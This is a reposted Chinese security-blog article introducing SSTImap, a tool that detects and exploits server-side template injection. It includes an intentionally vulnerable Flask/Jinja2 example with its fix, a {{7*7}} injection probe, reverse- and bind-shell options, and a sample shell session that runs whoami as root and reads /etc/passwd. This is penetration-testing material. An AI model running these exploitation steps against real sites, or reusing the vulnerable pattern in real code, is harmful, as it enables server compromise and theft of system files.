神兵利器 – 具有交互式界面的自动 SSTI 检测工具

渗透技巧 1年前 (2023) admin
601 0 0

SSTImap 是一种渗透测试软件,可以检查网站是否存在代码注入和服务器端模板注入漏洞并加以利用,从而提供对操作系统本身的访问权限。

该工具被开发用作 SSTI 检测和利用的交互式渗透测试工具,允许更高级的利用。

沙盒突破技术来自:

  • James Kett 的服务器端模板注入:现代 Web 应用程序的 RCE

该工具能够利用一些代码上下文转义和盲注场景。它还支持在 Python、Ruby、PHP、Java 和通用非沙盒模板引擎中注入类似于 eval()的代码。


与 Tplmap 的区别

尽管此软件基于 Tplmap 的代码,但不提供向后兼容性。

  • 交互模式 ( -i) 允许更容易的利用和检测

  • 基本语言eval() -like shell ( -x) 或单个命令 ( -X) 执行

  • 在没有启用的情况下为Smarty添加了新的有效负载{php}{/php}旧有效载荷可作为Smarty_unsecure.

  • 用户代理可以从桌面浏览器代理列表中随机选择,使用-A

  • 现在可以使用启用 SSL 验证-V

  • 添加到所有参数的简短版本

  • 一些旧的命令行参数已更改,请-h查看帮助

  • 代码已更改为使用更新的 python 功能

  • 暂时删除了 Burp Suite 扩展,因为Jython不支持 Python3


服务器端模板注入

        这是一个使用Flask框架和Jinja2模板引擎用 Python 编写的简单网站示例。它以不安全的方式集成了用户提供的变量name,因为它在呈现之前连接到模板字符串。

from flask import Flask, request, render_template_stringimport os
app = Flask(__name__)
@app.route("/page")def page(): name = request.args.get('name', 'World') # SSTI VULNERABILITY: template = f"Hello, {name}!<br>n" "OS type: {{os}}" return render_template_string(template, os=os.name)
if __name__ == "__main__": app.run(host='0.0.0.0', port=80)

这种使用模板的方式不仅会产生 XSS 漏洞,而且还允许攻击者注入模板代码,该代码将在服务器上执行,从而导致 SSTI。

$ curl -g 'https://www.target.com/page?name=John'Hello John!<br>OS type: posix$ curl -g 'https://www.target.com/page?name={{7*7}}'Hello 49!<br>OS type: posix


用户提供的输入应该通过渲染上下文以安全的方式引入:

from flask import Flask, request, render_template_stringimport os
app = Flask(__name__)
@app.route("/page")def page(): name = request.args.get('name', 'World') template = "Hello, {{name}}!<br>n" "OS type: {{os}}" return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)


预设模式

预定模式下的 SSTImap 与 Tplmap 非常相似。它能够检测和利用多个不同模板中的 SSTI 漏洞。

利用后,SSTImap 可以提供对代码评估、操作系统命令执行和文件系统操作的访问。

要检查 URL,您可以使用-u参数:

$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀ ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═ ║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __ ╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ / _` | '_ ╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) | ╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|__,_| .__/ │ | | |_|[*] Version: 1.0[*] Author: @vladko312[*] Based on Tplmap[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws.Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] Testing if GET parameter 'name' is injectable [*] Smarty plugin is testing rendering with tag '*'...[*] Jinja2 plugin is testing rendering with tag '{{*}}'[+] Jinja2 plugin has confirmed injection with tag '{{*}}'[+] SSTImap identified the following injection point:
GET parameter: name Engine: Jinja2 Injection: {{*}} Context: text OS: posix-linux Technique: render Capabilities:
Shell command execution: ok Bind and reverse shell: ok File write: ok File read: ok Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options: --os-shell Prompt for an interactive operating system shell --os-cmd Execute an operating system command. --eval-shell Prompt for an interactive shell on the template engine base language. --eval-cmd Evaluate code in the template engine base language. --tpl-shell Prompt for an interactive shell on the template engine. --tpl-cmd Inject code in the template engine. --bind-shell PORT Connect to a shell bind to a target port --reverse-shell HOST PORT Send a shell back to the attacker's port --upload LOCAL REMOTE Upload files to the server --download REMOTE LOCAL Download remote files


使用--os-shell选项在目标上启动伪终端。

$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀ ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═ ║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __ ╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ / _` | '_ ╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) | ╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|__,_| .__/ │ | | |_|[*] Version: 0.6#dev[*] Author: @vladko312[*] Based on Tplmap[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws.Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] Testing if GET parameter 'name' is injectable[*] Smarty plugin is testing rendering with tag '*'...[*] Jinja2 plugin is testing rendering with tag '{{*}}'[+] Jinja2 plugin has confirmed injection with tag '{{*}}'[+] SSTImap identified the following injection point:
GET parameter: name Engine: Jinja2 Injection: {{*}} Context: text OS: posix-linux Technique: render Capabilities:
Shell command execution: ok Bind and reverse shell: ok File write: ok File read: ok Code evaluation: ok, python code
[+] Run commands on the operating system.posix-linux $ whoamirootposix-linux $ cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologin

互动模式

在交互模式下,命令用于与 SSTImap 交互。要进入交互模式,您可以使用-i参数。所有其他参数,除了关于利用负载的参数,都将用作设置的初始值。

一些命令用于在测试运行之间更改设置。要运行测试,必须通过初始-u参数或url命令提供目标 URL。之后,您可以使用run命令检查 SSTI 的 URL。

如果发现 SSTI,则可以使用命令开始利用。您可以获得与预定模式相同的利用能力,但您可以Ctrl+C在不停止程序的情况下中止它们。

顺便说一句,测试结果在目标 url 更改之前一直有效,因此您可以轻松地在漏洞利用方法之间切换,而无需每次都运行检测测试。

要获得完整的交互命令列表,请help在交互模式下使用命令。


支持的模板引擎

SSTImap 支持多个模板引擎和类似eval()的注入。

神兵利器 - 具有交互式界面的自动 SSTI 检测工具

https://github.com/vladko312/SSTImap


原文始发于微信公众号(Khan安全攻防实验室):神兵利器 – 具有交互式界面的自动 SSTI 检测工具

版权声明:admin 发表于 2023年1月30日 上午8:00。
转载请注明:神兵利器 – 具有交互式界面的自动 SSTI 检测工具 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...